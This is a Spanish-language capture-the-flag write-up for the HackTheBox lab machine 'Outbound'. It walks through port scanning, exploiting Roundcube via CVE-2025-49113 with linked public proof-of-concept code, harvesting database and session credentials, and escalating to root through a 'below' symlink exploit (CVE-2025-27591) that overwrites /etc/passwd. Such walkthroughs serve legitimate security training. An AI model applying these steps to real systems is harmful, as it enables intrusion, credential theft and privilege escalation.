Máquinas/CTF

Máquina resuelta


1. Escaneo de puertos TCP

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 9.6p1 Ubuntu 3ubuntu13.12 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 0c:4b:d2:76:ab:10:06:92:05:dc:f7:55:94:7f:18:df (ECDSA)
|_  256 2d:6d:4a:4c:ee:2e:11:b6:c8:90:e6:83:e9:df:38:b0 (ED25519)
80/tcp open  http    nginx 1.24.0 (Ubuntu)
|_http-title: Did not follow redirect to http://mail.outbound.htb/
|_http-server-header: nginx/1.24.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

 

2. Enumeración

Añadimos el nombre de dominio, mail.outbound.htb, a /etc/hosts. Comprobamos si existen más dominios, con el siguiente comando, pero observamos que no:

# gobuster vhost -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt -u outbound.htb -t 50 --append-domain  
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:             http://outbound.htb
[+] Method:          GET
[+] Threads:         50
[+] Wordlist:        /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt
[+] User Agent:      gobuster/3.6
[+] Timeout:         10s
[+] Append Domain:   true
===============================================================
Starting gobuster in VHOST enumeration mode
===============================================================
Found: mail.outbound.htb Status: 200 [Size: 5327]

Si accedemos a la página http://mail.outbound.htb/, nos encontramos con un servicio llamado Rouncube Webmail, junto con su panel de autenticación. Buscando por internet vemos que pueden existir unas credenciales por defecto, con el siguiente formato: demo@outbound.htb:password, pero en nuestro caso no funciona.

Observando la página de hackthebox, nos damos cuenta que contamos con credenciales para empezar el pentesting en la máquina:

As is common in real life pentests, you will start the Outbound box with credentials for the following account tyler / LhKL1o9Nm3X2

 

3. Explotación

Una vez dentro, en la sección "About", podemos ver que se trata de la versión:

Roundcube Webmail 1.6.10

Copyright © 2005-2025, The Roundcube Dev Team

Por lo que podemos buscar exploits que afecten a dicha versión, encontrando el CVE-2025-49113, que se trata de una vulnerabilidad que nos permite un RCE a través de una deserialización de objetos PHP. Para esto existe un PoC en github: https://github.com/BiiTts/Roundcube-CVE-2025-49113. Probamos entonces a establecer una revershell con los siguientes comandos:

Pero vemos que no funciona y no conseguimos nada. Buscamos otro exploit, en este caso uno en php, en el siguiente repo: https://github.com/hakaioffsec/CVE-2025-49113-exploit, entonces ejecutamos lo siguiente:

$ whoami
www-data

 

4. Movimiento lateral

Navegando por los archivos de la aplicación en el directorio /var/www/html/roudcube, encontramos el archivo /var/www/html/roudcube/public_html/roundcube/config/config.inc.php, en el cual, entre otras cosas, podemos observar lo siguiente:

$config['db_dsnw'] = 'mysql://roundcube:RCDBPass2025@localhost/roundcube';

Accedemos entonces, desde la máquina objetivo a mysql, con el siguiente comando:

www-data@mail:/$ mysql -h localhost -u roundcube -p
Enter password:

Observamos los siguientes databases:

MariaDB [(none)]> SHOW DATABASES;
+--------------------+
| Database           |
+--------------------+
| information_schema |
| roundcube          |
+--------------------+
2 rows in set (0.005 sec)

Dentro del database roundcube, encontramos las siguientes tablas:

MariaDB [roundcube]> SHOW TABLES;
+---------------------+
| Tables_in_roundcube |
+---------------------+
| cache               |
| cache_index         |
| cache_messages      |
| cache_shared        |
| cache_thread        |
| collected_addresses |
| contactgroupmembers |
| contactgroups       |
| contacts            |
| dictionary          |
| filestore           |
| identities          |
| responses           |
| searches            |
| session             |
| system              |
| users               |
+---------------------+
17 rows in set (0.001 sec)

Buscamos entonces en las tablas, alguna información que nos pueda servir. Si realizamos la siguiente consulta, en la tabla sessions, obtenemos lo siguiente:

MariaDB [roundcube]> SELECT FROM_BASE64(vars) from session;
| language|s:5:"en_US";imap_namespace|a:4:{s:8:"personal";a:1:{i:0;a:2:{i:0;s:0:"";i:1;s:1:"/";}}
s:5:"other";N;s:6:"shared";N;s:10:"prefix_out";s:0:"";}imap_delimiter|s:1:"/";imap_list_conf|a:2:{i:0;N;i:1;a:0:{}}user_id|i:1;username|s:5:"jacob";storage_host|s:9:"localhost";storage_port|
i:143;storage_ssl|b:0;password|s:32:"L7Rv00A8TuwJAr67kITxxcSgnIk25Am/";login_time|i:1749397119;timezone|s:13:"Europe/London";STORAGE_SPECIAL-USE|b:1;auth_secret|
s:26:"DpYqv6maI9HxDL5GhcCd8JaQQW";request_token|s:32:"TIsOaABA1zHSXZOBpH6up5XFyayNRHaw";task|s:4:"mail";skin_config|a:7:
{s:17:"supported_layouts";a:1:{i:0;s:10:"widescreen";}s:22:"jquery_ui_colors_theme";s:9:"bootstrap";s:18:"embed_css_location";s:17:"/styles/
embed.css";s:19:"editor_css_location";s:17:"/styles/embed.css";s:17:"dark_mode_support";b:1;s:26:"media_browser_css_location";s:4:"none";s:21:"additi
onal_logo_types";a:3:{i:0;s:4:"dark";i:1;s:5:"small";i:2;s:10:"small-dark";}}imap_host|s:9:"localhost";page|i:1;mbox|s:5:"INBOX";sort_col|s:0:"";sort_order|s:4:"DESC";STORAGE_THREAD|
a:3:{i:0;s:10:"REFERENCES";i:1;s:4:"REFS";i:2;s:14:"ORDEREDSUBJECT";}STORAGE_QUOTA|b:0;STORAGE_LIST-EXTENDED|b:1;list_attrib|a:6:
{s:4:"name";s:8:"messages";s:2:"id";s:11:"messagelist";s:5:"class";s:42:"listing messagelist sortheader fixedheader";s:15:"aria-labelledby";s:22:"aria-label-messagelist";s:9:"data-
list";s:12:"message_list";s:14:"data-label-msg";s:18:"The list is empty.";}unseen_count|a:2:{s:5:"INBOX";i:2;s:5:"Trash";i:0;}folders|a:1:{s:5:"INBOX";a:2:{s:3:"cnt";i:2;s:6:"maxuid";i:3;}}
list_mod_seq|s:2:"10"; |

Entonces navegando por el sistema, encontramos un ejecutable llamado decrypt.sh, que parece ser que es utilizado para descifrar los hashes:

www-data@mail:/var/www/html/roundcube/public_html/roundcube/bin$ ls
    cleandb.sh    gc.sh             jsshrink.sh      msgimport.sh
    cssshrink.sh  indexcontacts.sh  makedoc.sh       update.sh
    decrypt.sh    initdb.sh         moduserprefs.sh  updatecss.sh
    deluser.sh    installto.sh      msgexport.sh     updatedb.sh

Ejecutamos entonces lo siguiente, utilizando como entrada en hash encontrado en la sección b:0;password:

www-data@mail:/var/www/html/roundcube/public_html/roundcube/bin$ ./decrypt.sh L7Rv00A8TuwJAr67kITxxcSgnIk25Am/
595mO8DmwGeD

Si observamos los directorio home, encontramos los siguientes usuarios:

www-data@mail:/$ ls /home/
    jacob  mel  tyler

Si intentamos conectarnos por ssh con dicha contraseña para cualquiera de los dos usuarios, observamos como no nos es posible. Por lo que probamos a conectarnos al servicio web de Rouncube Webmail con las credenciales jacob:595mO8DmwGeD, y conseguimos acceso.

Vemos que en la bandeja de entrada encontramos un correo con el siguiente contenido:

Important Update
Contact photo
From tyler@outbound.htb on 2025-06-07 10:00
Details Headers
Due to the recent change of policies your password has been changed.

Please use the following credentials to log into your account: gY4Wr3a1evp4

Remember to change your password when you next log into your account.

Thanks!

Tyler

Probamos entonces la credenciales jacob:gY4Wr3a1evp4 para acceder mediante ssh, conseguimos acceso al máquina y somos capaces de obtener la flag de usuario.

 

5. Escalado de privilegios

Observamos los comandos que puede ejecutar el usuario jacob, con permisos de root:

jacob@outbound:~$ sudo -l
Matching Defaults entries for jacob on outbound:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty

User jacob may run the following commands on outbound:
    (ALL : ALL) NOPASSWD: /usr/bin/below *, !/usr/bin/below --config*, !/usr/bin/below --debug*, !/usr/bin/below -d*

Buscando por internet, encontramos una vulnerabilidad asociada a dicho binario, en concreto la CVE-2025-27591. Encontramos el siguiente PoC en github: https://github.com/BridgerAlderson/CVE-2025-27591-PoC. Lo descargamos en nuestra máquina host, y lo pasamos a la máquina victima. En ella si lo ejecutamos, vemos como se crea una nueva cuenta de usuario con permisos de root:

jacob@outbound:/tmp$ python3 exploit.py 
[*] Checking for CVE-2025-27591 vulnerability...
[+] /var/log/below is world-writable.
[!] /var/log/below/error_root.log is a regular file. Removing it...
[+] Symlink created: /var/log/below/error_root.log -> /etc/passwd
[+] Target is vulnerable.
[*] Starting exploitation...
[+] Wrote malicious passwd line to /tmp/attacker
[+] Symlink set: /var/log/below/error_root.log -> /etc/passwd
[*] Executing 'below record' as root to trigger logging...
Jul 15 10:50:37.628 DEBG Starting up!
Jul 15 10:50:37.628 ERRO 
----------------- Detected unclean exit ---------------------
Error Message: Failed to acquire file lock on index file: /var/log/below/store/index_01752537600: EAGAIN: Try again
-------------------------------------------------------------
[+] 'below record' executed.
[*] Copying payload into /etc/passwd via symlink...
[+] Running: cp /tmp/attacker /var/log/below/error_root.log
[*] Attempting to switch to root shell via 'su attacker'...
attacker@outbound:/tmp# ls
attacker                                 snapshot_replay.aXtQxc                                                          systemd-private-9fdb5ae53efe404ca8401ff28443c481-systemd-resolved.service-ySqYGE
exploit.py                               snapshot_replay.rgzMNi                                                          systemd-private-9fdb5ae53efe404ca8401ff28443c481-systemd-timesyncd.service-qfWBRo
snap-private-tmp                         systemd-private-9fdb5ae53efe404ca8401ff28443c481-ModemManager.service-chSiJz    test
snapshot_00000000000_01752576032.I7T28U  systemd-private-9fdb5ae53efe404ca8401ff28443c481-polkit.service-BXhJqF          vmware-root_667-3980363901
snapshot_01752576281_01752576281.EAiJqQ  systemd-private-9fdb5ae53efe404ca8401ff28443c481-systemd-logind.service-PqskMW
attacker@outbound:/tmp# whoami
attacker
attacker@outbound:/tmp# id
uid=0(attacker) gid=0(root) groups=0(root)

Por lo que somos capaces de obtener la flag de usuario root.